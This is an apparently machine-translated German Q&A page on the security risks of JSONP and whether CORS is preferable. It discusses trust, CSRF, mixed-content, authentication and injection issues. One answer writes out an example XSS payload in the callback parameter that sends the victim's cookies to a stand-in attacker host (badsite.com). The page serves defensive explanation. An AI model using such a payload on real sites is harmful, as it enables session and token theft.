it-swarm.com.de

Sicherheitsrisiken mit JSONP?

Was sind die Sicherheitsrisiken bei JSONP ? Ist die Verwendung von JSONP in einer neuen Webanwendung aus Sicherheitsgründen sinnvoll oder ist es besser, eine andere Methode für Cross-Origin-Web-Mashups zu verwenden?

Wenn die Verwendung von JSONP sinnvoll ist, welche Schritte sollte ich unternehmen, um sicherzustellen, dass ich es sicher verwende? Wenn es besser ist, etwas anderes zu verwenden, was würden Sie stattdessen empfehlen? (CORS?)

28
D.W.

JSONP ist aus Sicherheitsgründen etwas zwielichtig:

  • Erfordert übermäßiges Vertrauen. Angenommen, Sie haben eine Seite auf a.com Gehostet und verwendet JSONP, um auf Dienste zuzugreifen, die von b.org Bereitgestellt werden. . Dies beinhaltet 100% Vertrauen in b.org. Wenn b.org Böswillig oder fehlerhaft ist, kann dies die Sicherheit der Einbettungsseite und des gesamten Ursprungs von a.com Unterlaufen. Diese Art von übermäßigem Vertrauen ist aus Sicherheitsgründen gefährlich: Sie macht Ihre Anwendung anfällig.

    Anders ausgedrückt: JSONP ist im Grunde ein selbstverschuldetes XSS. Ja, OK, ich weiß, es ist eine Funktion, kein Fehler, aber trotzdem ...

  • CSRF-Schwachstellen. Sie müssen daran denken, sich gegen CSRF-Schwachstellen zu verteidigen, und mit JSONP wird das etwas schwierig. Standardmäßig wird empfohlen, sicherzustellen, dass nur POST - Anforderungen einen Nebeneffekt auslösen können, und ein CSRF-Token in alle POST - Anforderungen aufzunehmen; JSONP umfasst jedoch das Senden von a GET-Anforderung zum Auslösen eines Nebeneffekts, was nicht gerade die sauberste Lösung ist, die Sie jemals gesehen haben. Dies bedeutet, dass der Host, der den JSONP-Dienst bereitstellt, daran denken muss, CSRF-Token auch bei GET-Anforderungen zu überprüfen Ein kniffliges Protokoll für die Einbettungsseite (a.com), um das richtige CSRF-Token vom JSONP-Dienst (b.org) zu erhalten. Es wird chaotisch.

  • Verursacht Warnungen mit gemischtem Inhalt. Angenommen, wir haben eine Seite, die auf https://a.com Gehostet wird und auf einen JSONP-Dienst unter http://b.org Zugreift. . Dann wird dies unweigerlich eine beängstigend aussehende Warnung mit gemischtem Inhalt auslösen (da JSONP das Laden eines Skripts aus http://b.org Beinhaltet).

  • Die Benutzerauthentifizierung wird hässlich. Wenn b.org Den Benutzer authentifizieren möchte, ist dies bei Verwendung von JSONP schwierig. Die Einbettungsseite (a.com) Muss dem Benutzer zunächst die Möglichkeit geben, sich vorab bei b.org Anzumelden, bevor er auf den JSONP-Dienst von b.org Zugreift. Beide Standorte müssen koordiniert werden.

Ich weiß nicht, ob Webentwicklern empfohlen werden sollte, JSONP für neue Webanwendungen zu vermeiden oder nicht, aber diese Aspekte lassen CORS ziemlich verlockend aussehen.

Siehe auch Was ist der Sinn der Regel für dieselbe Domäne für xmlhttprequest, wenn Skript-Tags/JSONP Domänen überqueren können?

25
D.W.

Der Rückrufparameter kann ein XSS-Vektor sein

Ich habe ein Antwort auf Stackoverflow gefunden, das die JSONP-Rückrufantwort filtert. Dies ist erforderlich, da der Rückrufparameter in einen XSS-Angriff umgewandelt werden kann, der CSRF-Token wie folgt stiehlt:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

UTF7-Injektionen sind möglich, wenn kein Zeichensatz enthalten ist

Wenn der Header nicht Content-Type: application/javascript; charset=utf-8 Ist, sind UTF7-Injektionen möglich.

Die Auswahl des Inhaltstyps kann Auswirkungen haben

Der Inhaltstyp wirkt sich auf die HTTP-basierte Komprimierung aus bestimmter freigegebener Webhosts.

Es gibt einige Funktionsunterschiede zwischen den Funktionen, die in einigen Browsern basierend auf dem Inhaltstyp ausgeführt werden können. Ich muss die Links von StackOverflow ausgraben

13

Der Rückrufparameter kann ein CSRF-Vektor über Flash-Injection sein.

Siehe http://quaxio.com/jsonp_handcrafted_flash_files/

5
Alok